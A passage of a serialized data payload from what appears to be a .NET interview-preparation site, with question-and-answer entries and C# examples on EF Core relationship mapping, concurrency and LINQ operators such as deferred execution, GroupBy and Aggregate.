c.Parent)\n    .WithMany(c => c.Children)\n    .HasForeignKey(c => c.ParentId)\n    .IsRequired(false)              \u002F\u002F nullable FK — root nodes have null ParentId\n    .OnDelete(DeleteBehavior.Restrict); \u002F\u002F prevent accidental tree deletion\n\n\u002F\u002F Load the full tree with recursive includes (small trees only):\nvar root = await _db.Categories\n    .Include(c => c.Children)\n        .ThenInclude(c => c.Children)    \u002F\u002F 3 levels deep\n    .Where(c => c.ParentId == null)      \u002F\u002F root nodes\n    .ToListAsync();\n\n\u002F\u002F For deep trees, load all and build the hierarchy in memory:\nvar all = await _db.Categories.AsNoTracking().ToListAsync();\nvar roots = all.Where(c => c.ParentId == null).ToList();\nvar byParent = all.Where(c => c.ParentId != null)\n                  .GroupBy(c => c.ParentId!.Value)\n                  .ToDictionary(g => g.Key, g => g.ToList());\n```\n\n**Rule of thumb:** Keep self-referencing relationships in relational databases for\nshallow trees (≤ 3–4 levels). For very deep or often-queried trees, consider a\nclosure table or path enumeration strategy to avoid recursive queries.\n",{"id":2068,"difficulty":96,"q":2069,"a":2070},"ef-alternate-keys","What is the difference between a primary key and an alternate key in EF Core?","A **primary key** (`HasKey`) is the entity's identity — one per entity. An\n**alternate key** (`HasAlternateKey`) is an additional unique column that other\nentities can reference as a foreign key.\n\n```csharp\npublic class Product\n{\n    public int Id { get; set; }       \u002F\u002F PK\n    public string Sku { get; set; } = \"\"; \u002F\u002F alternate key — unique, referenced externally\n    public string Name { get; set; } = \"\";\n}\n\npublic class OrderItem\n{\n    public int Id { get; set; }\n    public string ProductSku { get; set; } = \"\"; \u002F\u002F FK pointing to Product.Sku (not PK)\n    public Product Product { get; set; } = null!;\n}\n\n\u002F\u002F Configuration:\nmodelBuilder.Entity\u003CProduct>()\n    .HasAlternateKey(p => p.Sku); \u002F\u002F creates UNIQUE constraint on Sku\n\nmodelBuilder.Entity\u003COrderItem>()\n    .HasOne(i => i.Product)\n    .WithMany()\n    .HasForeignKey(i => i.ProductSku)\n    .HasPrincipalKey(p => p.Sku); \u002F\u002F FK targets the alternate key, not PK\n\n\u002F\u002F Composite alternate key:\nmodelBuilder.Entity\u003CProduct>()\n    .HasAlternateKey(p => new { p.Brand, p.ModelNumber });\n```\n\nAlternate keys differ from `HasIndex(...).IsUnique()`:\n- Alternate keys can be referenced by FKs; unique indexes cannot.\n- Both add a UNIQUE constraint to the schema.\n\n**Rule of thumb:** Use alternate keys when an external system references your entity\nby a natural key (SKU, ISBN, slug). Use unique indexes for uniqueness constraints\nthat don't need to be referenced by FKs.\n",{"id":2072,"difficulty":206,"q":2073,"a":2074},"ef-table-per-hierarchy","What are EF Core inheritance mapping strategies and when do you use each?","EF Core supports three strategies for mapping class hierarchies to relational tables.\nThe strategy affects schema shape, query performance, and null handling.\n\n```csharp\n\u002F\u002F Base entity:\npublic abstract class Payment\n{\n    public int Id { get; set; }\n    public decimal Amount { get; set; }\n}\npublic class CardPayment : Payment { public string Last4 { get; set; } = \"\"; }\npublic class BankPayment : Payment { public string IBAN  { get; set; } = \"\"; }\n\n\u002F\u002F === 1. Table-Per-Hierarchy (TPH) — EF Core default ===\n\u002F\u002F One table, Discriminator column per row:\n\u002F\u002F Payments: Id | Amount | Discriminator | Last4 | IBAN\nmodelBuilder.Entity\u003CPayment>()\n    .HasDiscriminator\u003Cstring>(\"Discriminator\")\n    .HasValue\u003CCardPayment>(\"Card\")\n    .HasValue\u003CBankPayment>(\"Bank\");\n\u002F\u002F Pro: no joins; Con: sparse nullable columns\n\n\u002F\u002F === 2. Table-Per-Type (TPT) — each type has its own table ===\nmodelBuilder.Entity\u003CCardPayment>().ToTable(\"CardPayments\"); \u002F\u002F separate table\nmodelBuilder.Entity\u003CBankPayment>().ToTable(\"BankPayments\");\n\u002F\u002F Pro: normalised, no nulls; Con: JOIN on every query\n\n\u002F\u002F === 3. Table-Per-Concrete-Type (TPC) — EF Core 7+ ===\nmodelBuilder.Entity\u003CCardPayment>().UseTpcMappingStrategy();\nmodelBuilder.Entity\u003CBankPayment>().UseTpcMappingStrategy();\n\u002F\u002F Each concrete type gets a full table with all columns (no FK to base table)\n\u002F\u002F Pro: no joins, normalised; Con: queries over base type need UNION ALL\n\n\u002F\u002F Querying polymorphically works the same regardless of strategy:\nvar allPayments = await _db.Set\u003CPayment>().ToListAsync();\nvar cardPayments = await _db.Set\u003CCardPayment>().ToListAsync();\n```\n\n**Rule of thumb:** Start with TPH — it's the default, simplest, and fastest for\nsmall hierarchies. Use TPT when nullable columns become a schema problem. Use TPC\n(EF Core 7+) for separate tables with no JOINs on concrete-type queries.\n",{"id":2076,"difficulty":206,"q":2077,"a":2078},"ef-shadow-properties","What are shadow properties in EF Core and how do you use them for auditing?","**Shadow properties** exist in the EF Core model and database schema but are NOT\npresent on the entity class. They're useful for auditing, tenancy, and soft-delete\nfields you don't want to expose in the domain model.\n\n```csharp\n\u002F\u002F Define a shadow property in OnModelCreating:\nmodelBuilder.Entity\u003COrder>()\n    .Property\u003CDateTime>(\"CreatedAt\")   \u002F\u002F no matching property on Order class\n    .HasDefaultValueSql(\"GETUTCDATE()\");\n\nmodelBuilder.Entity\u003COrder>()\n    .Property\u003Cstring>(\"CreatedBy\")\n    .HasMaxLength(256);\n\n\u002F\u002F Read and write shadow properties via Entry:\nvar order = new Order { Total = 99.99m };\n\n_db.Entry(order).Property(\"CreatedBy\").CurrentValue = \"alice@example.com\";\n_db.Orders.Add(order);\nawait _db.SaveChangesAsync();\n\n\u002F\u002F Read shadow property from a tracked entity:\nvar createdAt = (DateTime)_db.Entry(order).Property(\"CreatedAt\").CurrentValue!;\n\n\u002F\u002F Filter by a shadow property in a query:\nvar aliceOrders = await _db.Orders\n    .Where(o => EF.Property\u003Cstring>(o, \"CreatedBy\") == \"alice@example.com\")\n    .ToListAsync();\n\n\u002F\u002F Use in SaveChangesInterceptor for automatic auditing:\nforeach (var entry in db.ChangeTracker.Entries\u003COrder>())\n{\n    if (entry.State == EntityState.Added)\n        entry.Property(\"CreatedAt\").CurrentValue = DateTime.UtcNow;\n}\n```\n\n**Rule of thumb:** Use shadow properties for cross-cutting metadata (audit timestamps,\ntenant ID, row version) that shouldn't pollute the domain model. For shared auditing\nacross many entities, combine shadow properties with a `SaveChangesInterceptor`.\n",{"id":2080,"difficulty":206,"q":2081,"a":2082},"ef-table-splitting","What is table splitting in EF Core and when should you use it?","**Table splitting** maps multiple entity types to a single database table. It's\nthe inverse of owned entities — useful when you want to load a \"lightweight\" view\nof a table by default and load the heavy columns separately on demand.\n\n```csharp\n\u002F\u002F Split a table into a lightweight head and a heavy detail entity:\npublic class OrderSummary\n{\n    public int Id { get; set; }\n    public string Status { get; set; } = \"\";\n    public decimal Total { get; set; }\n    public OrderDetail Detail { get; set; } = null!; \u002F\u002F navigation to same table\n}\n\npublic class OrderDetail\n{\n    public int Id { get; set; }         \u002F\u002F same PK — shared with OrderSummary\n    public string Notes { get; set; } = \"\";\n    public byte[]? AttachmentData { get; set; } \u002F\u002F large column — only loaded when needed\n    public OrderSummary Summary { get; set; } = null!;\n}\n\n\u002F\u002F Map both entities to the same table:\nmodelBuilder.Entity\u003COrderSummary>().ToTable(\"Orders\");\nmodelBuilder.Entity\u003COrderDetail>().ToTable(\"Orders\");\n\n\u002F\u002F Configure the 1:1 relationship between the two entity \"halves\":\nmodelBuilder.Entity\u003COrderSummary>()\n    .HasOne(s => s.Detail)\n    .WithOne(d => d.Summary)\n    .HasForeignKey\u003COrderDetail>(d => d.Id); \u002F\u002F same PK — required for table splitting\n\n\u002F\u002F Query the lightweight summary — no blob loaded:\nvar summaries = await _db.Set\u003COrderSummary>()\n    .AsNoTracking()\n    .Where(s => s.Status == \"Pending\")\n    .ToListAsync();  \u002F\u002F SELECT Id, Status, Total FROM Orders WHERE Status='Pending'\n\n\u002F\u002F Load the heavy detail only when needed:\nvar detail = await _db.Set\u003COrderDetail>()\n    .AsNoTracking()\n    .FirstOrDefaultAsync(d => d.Id == orderId);  \u002F\u002F includes Notes and AttachmentData\n```\n\nWhen to use table splitting:\n- A table has large or rarely-needed columns (BLOBs, long text) you want to defer.\n- You can't or don't want to physically split the table in the schema.\n- You want a strongly-typed \"projection\" at the entity level.\n\n**Rule of thumb:** Use table splitting when a table has a natural head\u002Fdetail split\nand the detail columns are large and infrequently needed. For most cases, projection\nvia `Select` into a DTO is simpler and doesn't require a second entity class.\n",{"id":2084,"difficulty":206,"q":2085,"a":2086},"ef-concurrency-tokens","How do you handle optimistic concurrency in EF Core?","**Optimistic concurrency** assumes conflicts are rare and detects them at save time\nrather than locking rows. EF Core supports it via **concurrency tokens** (a column\nincluded in `WHERE` clauses on `UPDATE`).\n\n```csharp\n\u002F\u002F Option 1 — RowVersion (SQL Server rowversion \u002F timestamp):\npublic class Product\n{\n    public int Id { get; set; }\n    public string Name { get; set; } = \"\";\n    public int Stock { get; set; }\n\n    [Timestamp]                    \u002F\u002F maps to SQL Server rowversion column\n    public byte[] RowVersion { get; set; } = Array.Empty\u003Cbyte>();\n}\n\n\u002F\u002F EF generates: UPDATE Products SET Stock=@p0 WHERE Id=@id AND RowVersion=@version\n\u002F\u002F If RowVersion changed (another writer), 0 rows affected → EF throws DbUpdateConcurrencyException\n\n\u002F\u002F Option 2 — Concurrency token (works with any column):\npublic class Product\n{\n    [ConcurrencyCheck]\n    public int Stock { get; set; }\n}\n\u002F\u002F EF adds: AND Stock=@originalStock to the WHERE clause\n\n\u002F\u002F Handle the exception:\ntry\n{\n    await _db.SaveChangesAsync();\n}\ncatch (DbUpdateConcurrencyException ex)\n{\n    foreach (var entry in ex.Entries)\n    {\n        var proposed = entry.CurrentValues;    \u002F\u002F what we tried to write\n        var dbValues  = await entry.GetDatabaseValuesAsync(); \u002F\u002F what's in DB now\n\n        \u002F\u002F Option A — keep proposed values (last writer wins):\n        entry.OriginalValues.SetValues(dbValues!);\n\n        \u002F\u002F Option B — reload DB values (first writer wins):\n        await entry.ReloadAsync();\n\n        \u002F\u002F Option C — merge\u002Falert user\n    }\n    await _db.SaveChangesAsync(); \u002F\u002F retry after resolving\n}\n```\n\n**Rule of thumb:** Use `[Timestamp]` \u002F `rowversion` on SQL Server for row-level\noptimistic concurrency — it's automatic and requires no application logic to update.\nHandle `DbUpdateConcurrencyException` explicitly in high-contention paths.\n",{"id":2088,"difficulty":96,"q":2089,"a":2090},"ef-relationship-without-navigation","Can you configure a relationship in EF Core without a navigation property?","Yes. EF Core lets you define foreign keys and relationships **without navigation\nproperties** — useful when you want to enforce referential integrity at the database\nlevel without polluting the domain model with references to unrelated aggregates.\n\n```csharp\n\u002F\u002F Domain model — Order references CustomerId but has no Customer navigation:\npublic class Order\n{\n    public int Id { get; set; }\n    public int CustomerId { get; set; } \u002F\u002F FK column only, no navigation property\n    public decimal Total { get; set; }\n}\n\npublic class Customer\n{\n    public int Id { get; set; }\n    public string Name { get; set; } = \"\";\n    \u002F\u002F No Orders collection navigation — Order is in a different bounded context\n}\n\n\u002F\u002F Configuration — relationship with no navigation properties:\nmodelBuilder.Entity\u003COrder>()\n    .HasOne\u003CCustomer>()             \u002F\u002F no lambda — no navigation on Order\n    .WithMany()                     \u002F\u002F no lambda — no collection on Customer\n    .HasForeignKey(o => o.CustomerId)\n    .IsRequired()\n    .OnDelete(DeleteBehavior.Restrict);\n\n\u002F\u002F EF Core still creates the FK constraint in the schema:\n\u002F\u002F ALTER TABLE Orders ADD CONSTRAINT FK_Orders_Customers_CustomerId\n\u002F\u002F   FOREIGN KEY (CustomerId) REFERENCES Customers(Id)\n\n\u002F\u002F Query using explicit join instead of navigation:\nvar report = await _db.Orders\n    .Join(_db.Set\u003CCustomer>(),\n          o => o.CustomerId,\n          c => c.Id,\n          (o, c) => new { c.Name, o.Total })\n    .ToListAsync();\n```\n\n**Rule of thumb:** Omit navigation properties across aggregate boundaries in DDD\ndesigns. Configure the FK with `HasOne\u003CT>().WithMany()` (no lambda) to enforce\nreferential integrity in the schema while keeping aggregates decoupled in code.\n",{"id":2092,"difficulty":96,"q":2093,"a":2094},"ef-skip-navigations","What are skip navigations in EF Core many-to-many relationships?","**Skip navigations** are the collection properties that link two entities directly\nacross a join table, without exposing the join entity in the domain model. They are\nthe navigations EF Core creates for implicit many-to-many relationships (EF Core 5+).\n\n```csharp\n\u002F\u002F Implicit many-to-many — skip navigations on both sides:\npublic class Student\n{\n    public int Id { get; set; }\n    public string Name { get; set; } = \"\";\n    public ICollection\u003CCourse> Courses { get; set; } = new List\u003CCourse>(); \u002F\u002F skip nav\n}\n\npublic class Course\n{\n    public int Id { get; set; }\n    public string Title { get; set; } = \"\";\n    public ICollection\u003CStudent> Students { get; set; } = new List\u003CStudent>(); \u002F\u002F skip nav\n}\n\n\u002F\u002F EF creates a hidden join table (StudentCourse) with StudentId and CourseId FKs.\n\n\u002F\u002F Add to a many-to-many relationship via the skip navigation:\nvar student = await _db.Students.Include(s => s.Courses).FirstAsync(s => s.Id == 1);\nvar course  = await _db.Courses.FindAsync(10);\nstudent.Courses.Add(course!);          \u002F\u002F inserts into StudentCourse join table\nawait _db.SaveChangesAsync();\n\n\u002F\u002F Remove from the relationship:\nstudent.Courses.Remove(course!);\nawait _db.SaveChangesAsync();          \u002F\u002F deletes from StudentCourse\n\n\u002F\u002F Direct query through the skip navigation:\nvar studentsInCourse = await _db.Courses\n    .Where(c => c.Id == 10)\n    .SelectMany(c => c.Students)       \u002F\u002F expands through the join table\n    .AsNoTracking()\n    .ToListAsync();\n\u002F\u002F SQL: SELECT s.* FROM Students s\n\u002F\u002F      INNER JOIN StudentCourse sc ON sc.StudentsId = s.Id\n\u002F\u002F      WHERE sc.CoursesId = 10\n\n\u002F\u002F Inspect the underlying join entity type (EF manages it internally):\nvar joinEntity = modelBuilder.Entity\u003CStudent>()\n    .HasMany(s => s.Courses)\n    .WithMany(c => c.Students)\n    .UsingEntity(j => j.ToTable(\"StudentCourse\")); \u002F\u002F rename the join table\n```\n\n**Rule of thumb:** Use skip navigations (implicit many-to-many) when the join table\nis a pure relationship with no extra columns. The moment you need metadata on the\njoin (e.g., `EnrolledAt`, `Grade`), switch to an explicit join entity.\n",{"id":2096,"difficulty":104,"q":2097,"a":2098},"ef-required-vs-optional-relationships","What is the difference between a required and an optional relationship in EF Core?","A **required relationship** means the dependent entity must have a principal —\nthe foreign key is `NOT NULL`. An **optional relationship** allows the FK to be\n`NULL`, meaning the dependent can exist without a principal.\n\n```csharp\n\u002F\u002F Required relationship — FK is NOT NULL:\npublic class Order\n{\n    public int Id { get; set; }\n    public int CustomerId { get; set; }       \u002F\u002F non-nullable int → required\n    public Customer Customer { get; set; } = null!;\n}\n\n\u002F\u002F Fluent API — explicit required:\nmodelBuilder.Entity\u003COrder>()\n    .HasOne(o => o.Customer)\n    .WithMany(c => c.Orders)\n    .HasForeignKey(o => o.CustomerId)\n    .IsRequired();                            \u002F\u002F NOT NULL in schema\n\u002F\u002F EF default for non-nullable FK types: already required by convention.\n\n\u002F\u002F Optional relationship — FK is nullable:\npublic class Order\n{\n    public int Id { get; set; }\n    public int? SupplierId { get; set; }      \u002F\u002F nullable int → optional\n    public Supplier? Supplier { get; set; }   \u002F\u002F nullable reference navigation\n}\n\n\u002F\u002F Fluent API — explicit optional:\nmodelBuilder.Entity\u003COrder>()\n    .HasOne(o => o.Supplier)\n    .WithMany(s => s.Orders)\n    .HasForeignKey(o => o.SupplierId)\n    .IsRequired(false);                       \u002F\u002F NULL allowed in schema\n\n\u002F\u002F Cascade delete default differs:\n\u002F\u002F Required → EF default is Cascade (delete dependents when principal deleted)\n\u002F\u002F Optional → EF default is SetNull (null out the FK when principal deleted)\n\n\u002F\u002F Practical consequence for loading:\nvar order = await _db.Orders.Include(o => o.Supplier).FirstAsync(o => o.Id == 1);\nif (order.Supplier is not null) \u002F\u002F must null-check optional navigation\n    Console.WriteLine(order.Supplier.Name);\n```\n\n**Rule of thumb:** Make a relationship required when the dependent has no business\nmeaning without the principal (order must have a customer). Make it optional when\nthe principal can legitimately be absent (order might not have a supplier yet).\nReflect this in the FK nullability and reference navigation nullability in C#.\n",{"description":94},"EF Core relationships interview questions — one-to-many, many-to-many, cascade delete, owned entities, shadow properties, and concurrency tokens.","dotnet\u002Fentity-framework\u002Frelationships","Ln3w7lvTnOuyFOadatsHqJU8IuZnrM3K7T35Sy242h8",{"id":2104,"title":2105,"body":2106,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":2110,"navigation":99,"order":47,"path":2111,"questions":2112,"questionsCount":163,"related":164,"seo":2173,"seoDescription":2174,"stem":2175,"subtopic":2176,"topic":20,"topicSlug":21,"updated":470,"__hash__":2177},"qa\u002Fdotnet\u002Ffundamentals\u002Flinq.md","Linq",{"type":91,"value":2107,"toc":2108},[],{"title":94,"searchDepth":29,"depth":29,"links":2109},[],{},"\u002Fdotnet\u002Ffundamentals\u002Flinq",[2113,2117,2121,2125,2129,2133,2137,2141,2145,2149,2153,2157,2161,2165,2169],{"id":2114,"difficulty":104,"q":2115,"a":2116},"what-is-linq","What is LINQ and what problem does it solve?","**Language Integrated Query (LINQ)** is a set of C# language features and BCL\nextension methods that let you query any data source — collections, XML, databases,\nJSON — using a uniform, type-safe syntax directly in C# code.\n\n```csharp\nint[] numbers = { 5, 3, 8, 1, 9, 2 };\n\n\u002F\u002F Without LINQ: imperative loop\nvar evens = new List\u003Cint>();\nforeach (var n in numbers)\n    if (n % 2 == 0) evens.Add(n);\n\n\u002F\u002F With LINQ method syntax:\nvar evensLinq = numbers.Where(n => n % 2 == 0)\n                       .OrderBy(n => n)\n                       .ToList();  \u002F\u002F [2, 8]\n\n\u002F\u002F Query syntax (translates to the same method calls):\nvar evensQuery = (from n in numbers\n                  where n % 2 == 0\n                  orderby n\n                  select n).ToList();\n```\n\nLINQ is not limited to in-memory collections. The same syntax works for SQL\ndatabases via Entity Framework (`IQueryable\u003CT>`), XML via LINQ to XML, and any\ncustom data source that implements `IEnumerable\u003CT>` or `IQueryable\u003CT>`.\n\n**Rule of thumb:** LINQ makes collection operations declarative and composable —\nyou describe *what* you want, not *how* to iterate. Prefer it over imperative\nloops for readability; fall back to `foreach` only when performance profiling\njustifies it.\n",{"id":2118,"difficulty":96,"q":2119,"a":2120},"deferred-execution","What is deferred execution in LINQ and why does it matter?","**Deferred execution** means a LINQ query is not evaluated when it is defined —\nit is evaluated only when you iterate the result. Each iteration re-runs the query\nagainst the current state of the source.\n\n```csharp\nvar numbers = new List\u003Cint> { 1, 2, 3, 4, 5 };\n\n\u002F\u002F This builds a query object — no iteration yet:\nvar query = numbers.Where(n => n > 2); \u002F\u002F deferred\n\nnumbers.Add(10); \u002F\u002F modify source after query is defined\n\nforeach (var n in query) Console.Write(n + \" \"); \u002F\u002F 3 4 5 10 — sees the new item!\n\n\u002F\u002F Force immediate execution with ToList() \u002F ToArray() \u002F Count():\nvar snapshot = numbers.Where(n => n > 2).ToList(); \u002F\u002F evaluated NOW\nnumbers.Add(99);\n\u002F\u002F 'snapshot' still contains { 3, 4, 5, 10 } — not affected by later changes\n```\n\nDeferred execution enables **query composition** — you can build a query\nincrementally and it only hits the data source once when iterated. The danger is\n**multiple enumeration**: iterating a deferred query twice runs it twice. Pass\na `IEnumerable\u003CT>` to a method that iterates it twice and you pay double the cost.\n\n**Rule of thumb:** Call `.ToList()` or `.ToArray()` to materialise when you will\niterate multiple times, need a point-in-time snapshot, or want to avoid re-querying\na database in EF Core.\n",{"id":2122,"difficulty":104,"q":2123,"a":2124},"query-vs-method-syntax","What is the difference between LINQ query syntax and method syntax?","Both syntaxes produce identical IL — the compiler translates query syntax into\nmethod calls. Query syntax is SQL-like; method syntax (fluent) uses extension\nmethods chained with lambdas.\n\n```csharp\nvar data = new[] { 1, 2, 3, 4, 5, 6 };\n\n\u002F\u002F Query syntax:\nvar q1 = from n in data\n         where n % 2 == 0\n         orderby n descending\n         select n * n;\n\n\u002F\u002F Method (fluent) syntax — identical result:\nvar q2 = data.Where(n => n % 2 == 0)\n             .OrderByDescending(n => n)\n             .Select(n => n * n);\n\n\u002F\u002F Some operators only exist in method syntax (no query-syntax equivalent):\nvar q3 = data.Zip(data.Reverse(), (a, b) => a + b); \u002F\u002F Zip has no query syntax\nvar q4 = data.Aggregate((acc, n) => acc + n);        \u002F\u002F Aggregate has no query syntax\nvar count = data.Count(n => n > 3);                  \u002F\u002F Count with predicate — method only\n```\n\n**Method syntax** is more common in practice because it composes naturally with\nmethod chaining and covers more operators. **Query syntax** reads more naturally\nfor complex multi-source joins, let clauses, and group-by queries.\n\n**Rule of thumb:** Default to method syntax — it covers every operator and is\nwhat most .NET codebases use. Switch to query syntax for complex joins or when\nthe `let` keyword (intermediate variable) would significantly aid readability.\n",{"id":2126,"difficulty":96,"q":2127,"a":2128},"ienumerable-vs-iqueryable","What is the difference between `IEnumerable\u003CT>` and `IQueryable\u003CT>` in LINQ?","`IEnumerable\u003CT>` executes LINQ in **memory** (LINQ to Objects). `IQueryable\u003CT>`\n**translates** the LINQ expression tree into the query language of the data source\n(typically SQL) and executes it there.\n\n```csharp\n\u002F\u002F IEnumerable: filtering happens in C# after loading ALL rows from DB\nIEnumerable\u003CUser> usersEnum = dbContext.Users.ToList(); \u002F\u002F loads ALL users first\nvar active = usersEnum.Where(u => u.IsActive); \u002F\u002F filters in memory — bad!\n\n\u002F\u002F IQueryable: filtering is translated to SQL — only matching rows are fetched\nIQueryable\u003CUser> usersQuery = dbContext.Users;  \u002F\u002F no DB hit yet\nvar activeQ = usersQuery.Where(u => u.IsActive); \u002F\u002F adds WHERE to SQL expression\nvar result = activeQ.ToList(); \u002F\u002F ONE SQL: SELECT * FROM Users WHERE IsActive = 1\n```\n\n`IQueryable\u003CT>` stores an **expression tree** — a data structure representing the\nquery. When you call `ToList()`, the LINQ provider (EF Core, LINQ to SQL) walks\nthe expression tree and generates the appropriate query. `IEnumerable\u003CT>` just\nholds a delegate — it has no visibility into what the lambda does and cannot\ntranslate it.\n\n**Rule of thumb:** Use `IQueryable\u003CT>` for database queries so filtering, sorting,\nand pagination happen in SQL. Convert to `IEnumerable\u003CT>` (`.AsEnumerable()`) only\nwhen you need to run logic the provider cannot translate.\n",{"id":2130,"difficulty":96,"q":2131,"a":2132},"select-vs-selectmany","What is the difference between `Select` and `SelectMany` in LINQ?","`Select` projects each element to one output element (1-to-1). `SelectMany`\nprojects each element to a **sequence** and flattens all those sequences into a\nsingle output sequence (1-to-many → flat).\n\n```csharp\nvar orders = new[]\n{\n    new { Id = 1, Items = new[] { \"pen\", \"book\" } },\n    new { Id = 2, Items = new[] { \"desk\", \"chair\", \"lamp\" } },\n};\n\n\u002F\u002F Select — returns IEnumerable\u003Cstring[]>: each order maps to its array\nvar nested = orders.Select(o => o.Items);\n\u002F\u002F Result: [ [\"pen\",\"book\"], [\"desk\",\"chair\",\"lamp\"] ]\n\n\u002F\u002F SelectMany — flattens into IEnumerable\u003Cstring>\nvar flat = orders.SelectMany(o => o.Items);\n\u002F\u002F Result: [\"pen\", \"book\", \"desk\", \"chair\", \"lamp\"]\n\n\u002F\u002F Common use: get all characters in all words:\nvar words = new[] { \"hello\", \"world\" };\nvar chars = words.SelectMany(w => w.ToCharArray()).Distinct().OrderBy(c => c);\n\u002F\u002F d e h l o r w\n```\n\n`SelectMany` is equivalent to a nested `foreach` that adds each inner element to a\nflat output list. In query syntax, it corresponds to multiple `from` clauses.\n\n**Rule of thumb:** If each source element maps to a collection and you want a\nflat result, use `SelectMany`. If you want a sequence of sequences (or one-to-one),\nuse `Select`.\n",{"id":2134,"difficulty":104,"q":2135,"a":2136},"first-single-default","What is the difference between `First()`, `FirstOrDefault()`, `Single()`, and `SingleOrDefault()`?","These four methods differ on **how many elements are expected** and **what happens\nwhen the expectation is violated**.\n\n```csharp\nvar empty = Array.Empty\u003Cint>();\nvar one   = new[] { 42 };\nvar multi = new[] { 1, 2, 3 };\n\n\u002F\u002F First() — expects at least one; throws if empty\nmulti.First();            \u002F\u002F 1\nmulti.First(n => n > 1);  \u002F\u002F 2\n\u002F\u002F empty.First();         \u002F\u002F InvalidOperationException!\n\n\u002F\u002F FirstOrDefault() — returns default(T) if empty, no throw\nempty.FirstOrDefault();   \u002F\u002F 0 (default int)\nempty.FirstOrDefault(-1); \u002F\u002F -1 (C# 10 default value param)\n\n\u002F\u002F Single() — expects exactly one; throws if empty OR if more than one\none.Single();             \u002F\u002F 42\n\u002F\u002F multi.Single();        \u002F\u002F InvalidOperationException — more than one element!\n\u002F\u002F empty.Single();        \u002F\u002F InvalidOperationException — sequence is empty!\n\n\u002F\u002F SingleOrDefault() — returns default if empty; throws if more than one\none.SingleOrDefault();    \u002F\u002F 42\nempty.SingleOrDefault();  \u002F\u002F 0 — fine\n\u002F\u002F multi.SingleOrDefault(); \u002F\u002F InvalidOperationException — still throws for multiple!\n```\n\n**Rule of thumb:** Use `First`\u002F`FirstOrDefault` when you expect a list and want the\nfirst match. Use `Single`\u002F`SingleOrDefault` when exactly one result is a business\nrequirement (e.g., look up by unique ID) — the exception is a useful assertion.\n",{"id":2138,"difficulty":96,"q":2139,"a":2140},"groupby","How does `GroupBy` work in LINQ?","`GroupBy` partitions elements into groups based on a key. It returns\n`IEnumerable\u003CIGrouping\u003CTKey, TElement>>` — each group has a `Key` property and\nis itself an `IEnumerable\u003CTElement>`.\n\n```csharp\nvar products = new[]\n{\n    new { Name = \"Pen\",   Category = \"Stationery\", Price = 1.5  },\n    new { Name = \"Book\",  Category = \"Education\",  Price = 12.0 },\n    new { Name = \"Ruler\", Category = \"Stationery\", Price = 0.8  },\n    new { Name = \"Calc\",  Category = \"Education\",  Price = 25.0 },\n};\n\nvar byCategory = products.GroupBy(p => p.Category);\n\nforeach (var group in byCategory)\n{\n    Console.WriteLine($\"{group.Key}: {group.Count()} items, \" +\n                      $\"avg £{group.Average(p => p.Price):F2}\");\n}\n\u002F\u002F Stationery: 2 items, avg £1.15\n\u002F\u002F Education:  2 items, avg £18.50\n\n\u002F\u002F With element projection:\nvar namesByCategory = products\n    .GroupBy(p => p.Category, p => p.Name)\n    .ToDictionary(g => g.Key, g => g.ToList());\n\u002F\u002F { \"Stationery\": [\"Pen\",\"Ruler\"], \"Education\": [\"Book\",\"Calc\"] }\n```\n\nIn EF Core, `GroupBy` on `IQueryable\u003CT>` translates to SQL `GROUP BY`. However,\nnot all LINQ `GroupBy` projections can be translated — EF Core will throw at runtime\nif it cannot. Use `.AsEnumerable()` before `GroupBy` to force in-memory grouping\nwhen needed.\n\n**Rule of thumb:** `GroupBy` is for aggregating by a category. Always follow it\nwith `Count()`, `Sum()`, `Average()`, `Max()`, or a materialising call — iterating\nan `IGrouping` multiple times re-evaluates the source.\n",{"id":2142,"difficulty":104,"q":2143,"a":2144},"any-all-count","When do you use `Any()`, `All()`, and `Count()` in LINQ?","These three check membership or quantity. Knowing which to use avoids common\nperformance mistakes.\n\n```csharp\nvar nums = new[] { 1, 2, 3, 4, 5 };\n\n\u002F\u002F Any() — \"does at least one element satisfy the condition?\"\nnums.Any();              \u002F\u002F true (sequence is non-empty)\nnums.Any(n => n > 10);  \u002F\u002F false\n\n\u002F\u002F All() — \"do ALL elements satisfy the condition?\"\nnums.All(n => n > 0);   \u002F\u002F true\nnums.All(n => n > 3);   \u002F\u002F false\n\n\u002F\u002F Count() — how many satisfy the condition?\nnums.Count();            \u002F\u002F 5\nnums.Count(n => n > 3); \u002F\u002F 2 (4 and 5)\n\n\u002F\u002F COMMON MISTAKE — avoid:\nif (list.Count() > 0) { }   \u002F\u002F iterates entire list to count\n\u002F\u002F Prefer:\nif (list.Any()) { }         \u002F\u002F stops at first element — O(1) for List\u003CT>\n```\n\nFor `ICollection\u003CT>` (like `List\u003CT>`), `.Count` (property, not method) is O(1).\nThe `Count()` extension method iterates when the source is not an `ICollection\u003CT>`.\nIn EF Core, both translate to `SELECT COUNT(*)` in SQL, so the difference is moot\nthere — but `Any()` translates to `EXISTS (SELECT 1 ...)` which can be faster.\n\n**Rule of thumb:** Use `Any()` to check emptiness or existence. Use `Count()` only\nwhen you need the actual number. Never call `Count() > 0` — use `Any()` instead.\n",{"id":2146,"difficulty":96,"q":2147,"a":2148},"aggregate","What is `Aggregate()` in LINQ and what is it equivalent to in functional programming?","`Aggregate()` is LINQ's **fold** (also called `reduce`). It accumulates a sequence\ninto a single value by repeatedly applying a function to a running accumulator and\nthe next element.\n\n```csharp\nvar nums = new[] { 1, 2, 3, 4, 5 };\n\n\u002F\u002F Sum via Aggregate (seed defaults to first element):\nint sum = nums.Aggregate((acc, n) => acc + n); \u002F\u002F 15\n\n\u002F\u002F With explicit seed:\nint product = nums.Aggregate(1, (acc, n) => acc * n); \u002F\u002F 120\n\n\u002F\u002F With result selector (seed, fold, then transform):\nstring csv = nums.Aggregate(\n    new System.Text.StringBuilder(),\n    (sb, n) => { sb.Append(n).Append(','); return sb; },\n    sb => sb.ToString().TrimEnd(',')\n); \u002F\u002F \"1,2,3,4,5\"\n\n\u002F\u002F String joining (Aggregate style vs string.Join):\nstring joined = new[] { \"a\", \"b\", \"c\" }.Aggregate((a, b) => $\"{a},{b}\"); \u002F\u002F \"a,b,c\"\n\u002F\u002F Prefer: string.Join(\",\", new[] { \"a\",\"b\",\"c\" }) — more readable + efficient\n```\n\n`Aggregate` is the most general LINQ operator — `Sum`, `Max`, `Min`, `Count`, and\n`Average` are all special cases of `Aggregate`. Use the specialised versions when\nthey exist; reach for `Aggregate` only when none of the purpose-built operators fit.\n\n**Rule of thumb:** `Aggregate` = fold\u002Freduce. Use named operators (`Sum`, `Max`)\nwhen they exist. Use `Aggregate` for custom fold logic like building a running\nproduct, combining strings with separators, or computing complex rolling 